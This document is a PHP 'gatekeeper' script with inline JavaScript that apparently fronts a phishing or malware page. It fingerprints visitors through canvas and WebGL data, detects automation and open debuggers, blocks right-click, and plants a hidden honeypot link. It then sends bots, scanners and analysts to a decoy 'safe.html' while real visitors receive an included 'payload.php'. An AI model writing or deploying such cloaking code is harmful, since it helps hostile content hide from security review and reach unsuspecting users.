<?php
/**
 * SHIELD GATEKEEPER - MAIN ENTRY POINT
 */

// 1. Prevent Caching 
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("X-LiteSpeed-Cache-Control: no-cache");

// 2. Load Security Engine 
require_once 'fingerprint_wrapper.php';

$ip = getClientIP();
$expected_v_checked = hash_hmac('sha256', $ip . 'human_passed', $config['app_secret']);

// Anti-Bot HMAC Exposure + Hardware Intel Verification
$cookie_js_passed = isset($_COOKIE['js_passed']) ? (string)$_COOKIE['js_passed'] : '';
$cookie_c_hash = $_COOKIE['c_hash'] ?? '';
$cookie_hw_intel = $_COOKIE['hw_intel'] ?? '';

if ($cookie_js_passed === '1' && strlen($cookie_c_hash) >= 10 && !empty($cookie_hw_intel)) {
    $is_secure = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off');
    setcookie('v_checked', $expected_v_checked, time() + 86400, '/', '', $is_secure, true);
    setcookie('js_passed', '', time() - 3600, '/'); // Destroy temporary flag
    header("Refresh: 0"); // Force reload
    exit();
}

$cookie_v_checked = isset($_COOKIE['v_checked']) && is_string($_COOKIE['v_checked']) ? $_COOKIE['v_checked'] : '';

// 3. Initial Frontend Bot Verification
if (empty($cookie_v_checked) || !hash_equals($expected_v_checked, $cookie_v_checked)) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Checking Connection...</title>
    <style>
        body { background: #f8fafc; font-family: -apple-system, sans-serif; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; user-select: none; }
        .card { padding: 40px; background: #fff; border-radius: 20px; box-shadow: 0 10px 25px rgba(0,0,0,0.05); text-align: center; max-width: 350px; }
        .loader { border: 2px solid #e2e8f0; border-top: 2px solid #2563eb; border-radius: 50%; width: 24px; height: 24px; animation: spin 0.7s linear infinite; margin: 0 auto 15px; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
    </style>
    <script>
        setInterval(function() {
            const start = performance.now();
            debugger; 
            if (performance.now() - start > 150) { window.location.replace("safe.html"); }
        }, 1000);

        document.addEventListener('contextmenu', e => e.preventDefault());

        // Deep Hardware Fingerprinting
        function getHardwareIntel() {
            try {
                const canvas = document.createElement('canvas');
                const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
                if (!gl) return btoa("No_WebGL");
                
                const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
                if (!debugInfo) return btoa("No_Debug_Info");
                
                const vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
                const renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
                
                return btoa(vendor + "|" + renderer);
            } catch(e) {
                return btoa("Error_Extracting");
            }
        }

        function verify() {
            try {
                const canvas = document.createElement('canvas');
                const ctx = canvas.getContext('2d');
                ctx.fillText("Verification", 2, 15);
                const hash = btoa(canvas.toDataURL()).substring(0, 32);
                
                // Concurrency & Webdriver check
                if (navigator.webdriver || (navigator.hardwareConcurrency || 0) < 2) {
                    window.location.replace("safe.html");
                    return;
                }

                const pass = () => {
                    const now = new Date();
                    now.setTime(now.getTime() + (24 * 60 * 60 * 1000));
                    
                    document.cookie = "js_passed=1; expires=" + now.toUTCString() + "; path=/; SameSite=Lax";
                    document.cookie = "c_hash=" + hash + "; expires=" + now.toUTCString() + "; path=/; SameSite=Lax";
                    document.cookie = "hw_intel=" + getHardwareIntel() + "; expires=" + now.toUTCString() + "; path=/; SameSite=Lax";
                    
                    location.reload();
                };

                window.addEventListener('mousemove', pass, { once: true });
                window.addEventListener('touchstart', pass, { once: true });
                window.addEventListener('scroll', pass, { once: true });
            } catch (e) {
                window.location.replace("safe.html");
            }
        }
        window.onload = verify;
    </script>
</head>
<body>
    <div class="card">
        <div class="loader"></div>
        <h3 style="font-size:16px; margin:0 0 5px;">Secure Verification</h3>
        <p style="color:#64748b; font-size:13px;">Please move your mouse or scroll to continue.</p>
    </div>
    
    <a href="blackhole.php" rel="nofollow" style="position:absolute; top:-9999px; left:-9999px; opacity:0; z-index:-99; width:1px; height:1px;">Admin Login</a>
    
</body>
</html>
<?php 
    exit(); 
} 

// 4. Main Payload Routing & Traffic Logging
if (shouldShowPayload()) {
    log_traffic('payload'); 
    define('SECURE_SYSTEM', true); 
    include 'payload.php';
} else {
    log_traffic('safe');    
    include 'safe.html';
    exit();
}
?>